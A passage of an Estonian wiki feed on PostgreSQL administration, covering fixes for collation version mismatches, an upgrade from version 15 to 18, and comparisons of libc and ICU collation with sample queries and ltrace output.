2026-05-12 23:05:38.265 EEST [3165] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
WARNING:  database &amp;quot;postgres&amp;quot; has a collation version mismatch&lt;br /&gt;
DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
psql (18.3 (Debian 18.3-1.pgdg13+1), server 15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmebaas kurdab, et binary data on tekitqtud libc v. 2.31 koosseisus oleva collationi abil ja praegu süsteem kasutab libc v. 2.41&lt;br /&gt;
&lt;br /&gt;
lahendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@test-db:~$ reindexdb --all 1&amp;gt; reindexdb-all.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
psql (15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;template1&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;db_infosysteem&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;postgres&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* reindexdb on käsk mis tuleb anda töötava baasi suhtes (mitte failisüsteemis lebavate binary data failide suhtes)&lt;br /&gt;
* pigem mitte kasutada reindexdb concurrency võimalusi (tundub, et ta ei tööta teatud tabelitega vms, tekitab .ccnew nimelisi laokile jäävaid indekseid; samas teadlikult kasutades võib olla abi)&lt;br /&gt;
* reindex muudab andmeid&lt;br /&gt;
* alter database .. refresh collation muudab nö raamatupidamist (tehniliselt saaks teha näiliselt baasi korda ka ilma reindex käsku ütlemata, aga küllap loodus sekkub varsti sel juhul)&lt;br /&gt;
&lt;br /&gt;
Tulemuse kontrollimine, veenduda, et pole katkisi indekseid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT relname as index_name&lt;br /&gt;
FROM pg_class c&lt;br /&gt;
JOIN pg_index i ON c.oid = i.indexrelid&lt;br /&gt;
WHERE i.indisvalid = false;&lt;br /&gt;
 index_name&lt;br /&gt;
------------&lt;br /&gt;
(0 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning, et peale muudatusi on datcollversion sobiva väärtusega (uuemaga kui enne muudatust, näiteks)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT datname, datcollversion FROM pg_database;&lt;br /&gt;
         datname          | datcollversion&lt;br /&gt;
--------------------------+----------------&lt;br /&gt;
 template0                |&lt;br /&gt;
 template1                | 2.41&lt;br /&gt;
 db_infosysteem           | 2.41&lt;br /&gt;
 postgres                 | 2.41&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL v 15 -&amp;gt; v 18 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt tegeleb postgresql tarkvara enda uuendamisega. Üldised ettevalmistused, lülitada välja pgbackrest varundamine selleks, et olemasolevat varundust mitte eksitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql/15/main/postgresql.conf&lt;br /&gt;
..&lt;br /&gt;
archive_mode=off&lt;br /&gt;
archive_command='/usr/bin/true'&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql-common/createcluster.conf.d/moraal.conf&lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
initdb_options = '--locale=et_EE.UTF-8 --data-checksums'&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendamise käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_upgradecluster -m upgrade -v 18 15 main&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-in-stages&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-only&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pgbackrest seadistamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===locale provider - libc===&lt;br /&gt;
&lt;br /&gt;
collate tegeleb kahes dimensioonis&lt;br /&gt;
&lt;br /&gt;
* sorteerimise tulemus st andmete järjestus&lt;br /&gt;
* sorteerimise efektiivsus st on-disk indeksid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
postgres=# \l db_imretest_libc_en_us_utf_8&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+-----------------------------&lt;br /&gt;
Name              | db_imretest_libc_en_us_utf_8&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
Locale            |&lt;br /&gt;
ICU Rules         |&lt;br /&gt;
Access privileges |&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;C.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_c ON users (username COLLATE &amp;quot;C.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näide&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_et_ee_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'et_EE.UTF-8' LC_CTYPE = 'et_EE.UTF-8' template=template0;&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# \c db_imretest_libc_et_ee_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_et_ee_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===locale provider - icu===&lt;br /&gt;
&lt;br /&gt;
Mõisted&lt;br /&gt;
&lt;br /&gt;
* ICU - International Components for Unicode&lt;br /&gt;
* CLRD - Common Locale Data Repository&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* collate - ei ole väga tavakõne sõna inglise keeles, aga tähendab järjestamist, organiseerimist jms&lt;br /&gt;
* lc_collate ja lc_ctype puudutavad füüsiliselt on-disk andmeid&lt;br /&gt;
* lc_messages, lc_monetary, lc_numeric, lc_time - on on-fly teisendused&lt;br /&gt;
&lt;br /&gt;
Paketihalduses paistavad asjasse puutuvad sellised paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
libicu72 - Debian v. 12&lt;br /&gt;
libicu76 - Debian v. 13&lt;br /&gt;
libicu70 - Ubuntu 22.04&lt;br /&gt;
libicu74 - Ubuntu 24.04&lt;br /&gt;
libicu78 - Ubuntu 26.04&lt;br /&gt;
postgresql-17-icu-ext - Debian v. 13 non-pgdg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# \dOS+&lt;br /&gt;
                                                                                      List of collations&lt;br /&gt;
   Schema   |          Name          | Provider |  Collate   |   Ctype    |      Locale      | ICU Rules | Deterministic? | Description&lt;br /&gt;
------------+------------------------+----------+------------+------------+------------------+-----------+----------------+--------------------------&lt;br /&gt;
 pg_catalog | C                      | libc     | C          | C          |                  |           | yes            | standard C collation&lt;br /&gt;
 pg_catalog | C.utf8                 | libc     | C.utf8     | C.utf8     |                  |           | yes            |&lt;br /&gt;
 pg_catalog | POSIX                  | libc     | POSIX      | POSIX      |                  |           | yes            | standard POSIX collation&lt;br /&gt;
 pg_catalog | af-NA-x-icu            | icu      |            |            | af-NA            |           | yes            | Afrikaans (Namibia)&lt;br /&gt;
 pg_catalog | af-ZA-x-icu            | icu      |            |            | af-ZA            |           | yes            | Afrikaans (South Africa)&lt;br /&gt;
 pg_catalog | af-x-icu               | icu      |            |            | af               |           | yes            | Afrikaans&lt;br /&gt;
 pg_catalog | agq-CM-x-icu           | icu      |            |            | agq-CM           |           | yes            | Aghem (Cameroon)&lt;br /&gt;
 pg_catalog | agq-x-icu              | icu      |            |            | agq              |           | yes            | Aghem&lt;br /&gt;
 pg_catalog | ak-GH-x-icu            | icu      |            |            | ak-GH            |           | yes            | Akan (Ghana)&lt;br /&gt;
 pg_catalog | ak-x-icu               | icu      |            |            | ak               |           | yes            | Akan&lt;br /&gt;
 pg_catalog | am-ET-x-icu            | icu      |            |            | am-ET            |           | yes            | Amharic (Ethiopia)&lt;br /&gt;
 pg_catalog | am-x-icu               | icu      |            |            | am               |           | yes            | Amharic&lt;br /&gt;
 pg_catalog | ar-001-x-icu           | icu      |            |            | ar-001           |           | yes            | Arabic (world)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql&lt;br /&gt;
psql (17.9 (Debian 17.9-0+deb13u1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# \l+&lt;br /&gt;
                                                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | Locale | ICU Rules |   Access privileges   |  Size   | Tablespace |                Description&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+--------+-----------+-----------------------+---------+------------+--------------------------------------------&lt;br /&gt;
 postgres  | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           |                       | 894 MB  | pg_default | default administrative connection database&lt;br /&gt;
 template0 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7353 kB | pg_default | unmodifiable empty database&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
 template1 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7425 kB | pg_default | default template for new databases&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal seadistustes puuduvad lc_ctype ja lc_collate (alatest v. 16)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql -c &amp;quot;SHOW ALL&amp;quot; | grep lc_&lt;br /&gt;
 lc_messages                                 | en_US.UTF-8                             | Sets the language in which messages are displayed.&lt;br /&gt;
 lc_monetary                                 | en_US.UTF-8                             | Sets the locale for formatting monetary amounts.&lt;br /&gt;
 lc_numeric                                  | en_US.UTF-8                             | Sets the locale for formatting numbers.&lt;br /&gt;
 lc_time                                     | en_US.UTF-8                             | Sets the locale for formatting date and time values.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestused, 'locale provider = icu' ja 'icu locale = und' 'create database' moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# CREATE DATABASE db_imretest_02&lt;br /&gt;
    WITH&lt;br /&gt;
    LOCALE_PROVIDER = 'icu'&lt;br /&gt;
    ICU_LOCALE = 'und'  -- The universal Unicode Root Locale!&lt;br /&gt;
    TEMPLATE = template0;&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
postgresql icu extension kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# create extension icu_ext;&lt;br /&gt;
CREATE EXTENSION&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_number_spellout(1250.50, 'et');&lt;br /&gt;
           icu_number_spellout&lt;br /&gt;
------------------------------------------&lt;br /&gt;
 üks tuhat kakssada viiskümmend koma viis&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_format_datetime(now(), '{full}', 'et');&lt;br /&gt;
                     icu_format_datetime&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
 pühapäev, 14. juuni 2026, kell 14:52:41 Ida-Euroopa suveaeg&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tabeliga järjestusega töötamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;et-EE-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_universal ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_estonian ON users (username COLLATE &amp;quot;et-EE-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_french ON users (username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# \di&lt;br /&gt;
                    List of relations&lt;br /&gt;
 Schema |        Name         | Type  |  Owner   | Table&lt;br /&gt;
--------+---------------------+-------+----------+-------&lt;br /&gt;
 public | idx_users_estonian  | index | postgres | users&lt;br /&gt;
 public | idx_users_french    | index | postgres | users&lt;br /&gt;
 public | idx_users_universal | index | postgres | users&lt;br /&gt;
 public | users_pkey          | index | postgres | users&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
libc põhise ja icu põhise lahenduse function-library call esitamine, illustreerimaks kui päring mis esitatakse on default&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# SELECT username FROM users ORDER BY username;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7918 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_01 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7918 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;\305\240kerin&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;M\303\274ller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -4&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;Muller&amp;quot;)        = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;M\303\274ller&amp;quot;) = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;M\303\274ller&amp;quot;)    = -11&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;Smirnov&amp;quot;)         = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 30&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7935 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_02 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7935 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
[pid 7935] ucol_strcollUTF8_76(0x55c2fcb7aec0, 0x55c2fcc332a0, 0xffffffff, 0x55c2fcc336a8) = 0xffffffff&lt;br /&gt;
^C&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* libc põhisel juhtumil esitatakse mitu 'strcoll' library call'i&lt;br /&gt;
* icu põhisel juhtumil esitatakse üks 'ucol_strcollUTF8_76' library call (sisemiselt küll tehakse seal mitmeid call'isid)&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/docs/current/collation.html&lt;br /&gt;
* https://icu.unicode.org/&lt;br /&gt;
* https://www.cybertec-postgresql.com/en/icu-collations-against-postgresql-data-corruption/&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:PostgreSQL]]&lt;br /&gt;
* [[:Nagiose kasutamine Debian Lenniga]]&lt;br /&gt;
* https://github.com/omniti-labs/pg_extractor&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4212</id>
		<title>PostgreSQL haldamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4212"/>
		<updated>2026-06-15T07:38:59Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* locale provider - libc */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasi haldamise eesmärgiks on tagada korrektselt tootav andmebaasiteenus, mida saavad kasutajad ja rakendused kasutada. PostgreSQL andmebaasi haldamine sisaldab sisaldab üldiselt selliseid tegevusi&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tarkvara paigaldamine süsteemi&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara veaparanduste rakendamine&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara versiooniuuenduste sooritamine&lt;br /&gt;
* Andmabaasile kasutajate ja rakenduse jaoks ligipääsude tegemine&lt;br /&gt;
* Andmebaasi vakumeerimine&lt;br /&gt;
* Andmebaasist või selle osadest arhiivifaili moodustamine ja sellise arhiivifaili kasutamine&lt;br /&gt;
* Andmebaasi varundamine ja taaste&lt;br /&gt;
* Andmebaasi tarkvara eemaldamine süsteemist&lt;br /&gt;
&lt;br /&gt;
Osa neist tegevustest on Kuutõrvajas käsitletetud eraldi tekstides.&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamise alla ei kuulu t andmebaasi kasutamisega seotud küsimused, kuigi tehniliselt võib saada kasutada samu instrumente nii kasutamise kui haldusprotseduuride soovitamiseks, nt programm psql.&lt;br /&gt;
&lt;br /&gt;
